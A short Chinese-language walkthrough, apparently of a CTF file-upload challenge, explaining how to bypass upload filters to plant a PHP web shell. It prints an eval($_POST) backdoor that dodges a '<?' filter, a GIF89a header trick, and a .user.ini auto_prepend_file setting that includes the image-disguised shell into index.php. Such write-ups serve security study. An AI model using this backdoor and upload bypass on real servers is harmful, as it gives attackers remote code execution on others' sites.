文件上传,首先上传一张图片马试试
提示<?被过滤,可以用下面代码绕过
<script language="php">eval($_POST{attack});</script>
显示上传成功,和已经上传的文件
下面就是想办法上传有效的后门
根据尝试,大部分后缀例如php3,php4,phtml均被过滤了
这里观察可以发现,在文件上传的目录里有个默认的index.php文件
这里就考虑采用.user.ini
首先先说一下.php.ini文件
该文件可以设置一些php的配置,有些重要必须要在这里面设置
但是有些不怎么重要的可以在 .user.ini设置
其中有一个配置可以利用
auto_prepend_file=1.php auto_append_file=2.php
这是一个当前目录下的全局文件包含,例如我们想这一个文件里包含1.php
一般会在文件文件开头写上
include './1.php'; //require
但是对于几百个文件想一次性包含同一个文件,就可以用.user.ini
auto_prepend_file=1.php //是所有文件开头包含1.php auto_append_file=2.php //是所有文件尾包含1.php
这样我们可以上传png格式后门,在将他包含到当前目录下所有的php文件中
这也就是虽然我们没法上传php,但是默认给了个空白php文件的原因
首先上传包含后门代码的png,这里注意 <? 被过滤了,因此要或一种写法
另外会检查图片开头判断是不是图片,可以加速GIF89A绕过
再上传.user.ini
注意,这里包含的文件是刚才传入的图片马
接下来访问uploads目录下的index.php
发现只打印了图片头,说明成功